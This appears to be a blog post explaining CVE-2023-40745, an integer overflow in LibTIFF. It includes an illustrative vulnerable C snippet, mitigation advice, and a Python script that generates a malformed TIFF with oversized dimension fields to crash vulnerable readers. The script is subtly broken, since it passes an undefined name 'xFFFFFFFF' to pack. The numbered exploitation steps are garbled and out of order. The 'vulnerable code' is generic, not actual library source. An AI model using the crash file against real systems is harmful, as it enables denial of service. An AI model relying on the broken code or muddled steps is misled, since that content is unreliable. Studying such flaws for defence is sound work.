CVE-2023-40745 - Exploiting LibTIFF Integer Overflow For Remote Code Execution

CVE-2023-40745 marks a critical security vulnerability in the popular TIFF image processing library, LibTIFF. This flaw makes millions of systems that handle TIFF images susceptible to malicious attacks, potentially leading to application crashes or, in severe cases, remote code execution. If you use any software that handles TIFF images, this vulnerability affects you.

Let’s break down the vulnerability, how it can be exploited, and what you should do to protect your systems.

🔎 What Is CVE-2023-40745?

CVE-2023-40745 is an integer overflow bug in the LibTIFF library. This overflow can lead to a heap-based buffer overflow, making it possible for a remote attacker to crash the application (Denial of Service) or even run arbitrary code on your machine.

- Affected software: Any software using LibTIFF to process TIFF images (e.g., image viewers, converters, or even backend servers).
- Attack vector: The attacker sends a specially crafted TIFF file to the victim; the victim opens it, triggering the vulnerability.

How the Vulnerability Happens

In LibTIFF, functions allocate memory for image processing based on size values read directly from the TIFF file. If a file claims massive width or height, multiplying these values can overflow and result in a much smaller number than intended.

The application allocates insufficient memory (due to integer overflow).

2. The program then tries to copy or read more data into this buffer than it actually allocated, causing a buffer overflow.

Simplified Vulnerable Code Snippet

// Vulnerable: Multiplies user-controlled values without checking for overflow.
uint32 width = tiff_image->width;   // Controlled by the attacker
uint32 height = tiff_image->height; // Controlled by the attacker

// Possible overflow here
uint32 total_size = width * height * sizeof(uint32);

uint32* buffer = malloc(total_size); // Allocates less memory than needed if overflowed

// Next line will write outside the buffer if total_size is incorrect
memcpy(buffer, data_from_file, total_size);

An attacker sets width and height so their product overflows (wraps around to a small value), causing less memory allocation than needed, but memcpy still copies the much larger data block, leading to heap corruption.

A malicious TIFF file that exploits CVE-2023-40745 could look like this in hex (partial)

49 49 2A 00 ...      // TIFF header (little-endian)
[Custom crafted IFD entries with huge width/height values]
...

Generating such a file typically involves setting values in the image directory fields to cause the overflow. Tools like HexFiend or bvi help attackers craft such files.

The victim opens the file in an application that uses a vulnerable LibTIFF version.

3. The vulnerable function in LibTIFF allocates too little memory and then tries to read/copy more data than the buffer’s actual size.
4. This buffer overflow can crash the application or, with additional payloads, allow the attacker to run code on the system.

🌐 References

- CVE-2023-40745 on NIST NVD
- LibTIFF Security Advisory
- Exploit Database Entry
- LibTIFF source (GitLab)

⚡ What Should You Do?

1. Update LibTIFF:
Upgrade to the latest version. Most Linux distributions and package managers should have addressed this in recent updates.

2. Restrict TIFF file usage:
Limit the TIFF images your app handles to trusted sources, especially if you can’t update LibTIFF right away.

3. Monitor for unusual crashes:
If your application works with user-supplied TIFF files and crashes unexpectedly, review logs for crashes related to image processing.

4. Enable modern mitigations:
Use address space layout randomization (ASLR), stack protections, and run applications with the least privileges to reduce the impact of exploitation.

🧑‍💻 Conclusion

CVE-2023-40745 highlights the risks in handling complex file formats like TIFF without strict checks. Integer overflows like this can be subtle but fatal. Always update your dependencies and sanitize inputs you don’t control.

If you need a test TIFF file to reproduce the crash (only for research and defense!)

# python3 script to generate a malicious TIFF (use for testing only!)
from struct import pack

with open("malicious.tiff", "wb") as f:
    # Write minimal TIFF header with oversized width/height values
    f.write(b"II*\x00\x08\x00\x00\x00")  # TIFF little-endian
    # Minimal Image File Directory count
    f.write(b"\x02\x00")  # two directory entries
    # First entry: ImageWidth
    f.write(b"\x00\x01" + b"\x04\x00" + b"\x01\x00\x00\x00" + pack("<I", xFFFFFFFF))
    # Second entry: ImageLength
    f.write(b"\x01\x01" + b"\x04\x00" + b"\x01\x00\x00\x00" + pack("<I", xFFFFFFFF))
    # Next IFD offset
    f.write(b"\x00\x00\x00\x00")
    # Add arbitrary data to overflow
    f.write(b"A" * 4096)

Never open suspicious TIFFs unless you’re in a secure environment!

For defenders, patch fast; for researchers, test responsibly. For everyone: stay aware of how subtle programming errors can break security.


*Written exclusively for this post by an infosec enthusiast. Feel free to share, but link to the original references for technical details and updates!*

Timeline

Published on: 10/05/2023 19:15:11 UTC
Last modified on: 11/10/2023 18:15:08 UTC